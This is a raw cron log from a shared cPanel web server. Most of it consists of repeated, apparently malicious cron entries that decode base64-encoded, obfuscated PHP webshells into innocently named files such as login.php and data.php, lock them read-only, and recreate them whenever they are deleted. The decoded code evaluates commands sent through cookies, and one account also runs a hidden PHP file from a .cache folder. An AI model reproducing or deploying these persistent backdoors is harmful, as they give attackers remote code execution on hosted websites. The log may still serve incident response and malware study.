Jun  7 07:18:02 medusa CROND[27810]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:18:02 medusa CROND[27811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:18:02 medusa CROND[27812]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:18:02 medusa CROND[27820]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:19:01 medusa CROND[29686]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:19:01 medusa CROND[29687]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:19:01 medusa CROND[29689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:19:01 medusa CROND[29690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:19:01 medusa CROND[29691]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:19:01 medusa CROND[29693]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:19:01 medusa CROND[29692]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:19:01 medusa CROND[29695]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:19:01 medusa CROND[29698]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:19:01 medusa CROND[29697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:19:01 medusa CROND[29700]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:19:01 medusa CROND[29702]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:20:01 medusa CROND[31457]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31463]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:20:01 medusa CROND[31474]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:20:01 medusa CROND[31484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31485]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 07:20:01 medusa CROND[31486]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:20:01 medusa CROND[31488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 07:20:01 medusa CROND[31487]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:20:01 medusa CROND[31494]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:20:01 medusa CROND[31491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31495]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:20:01 medusa CROND[31496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31501]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:20:01 medusa CROND[31502]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:20:01 medusa CROND[31498]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:20:01 medusa CROND[31506]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31510]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31515]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:20:01 medusa CROND[31517]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:20:01 medusa CROND[31518]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:20:01 medusa CROND[31513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
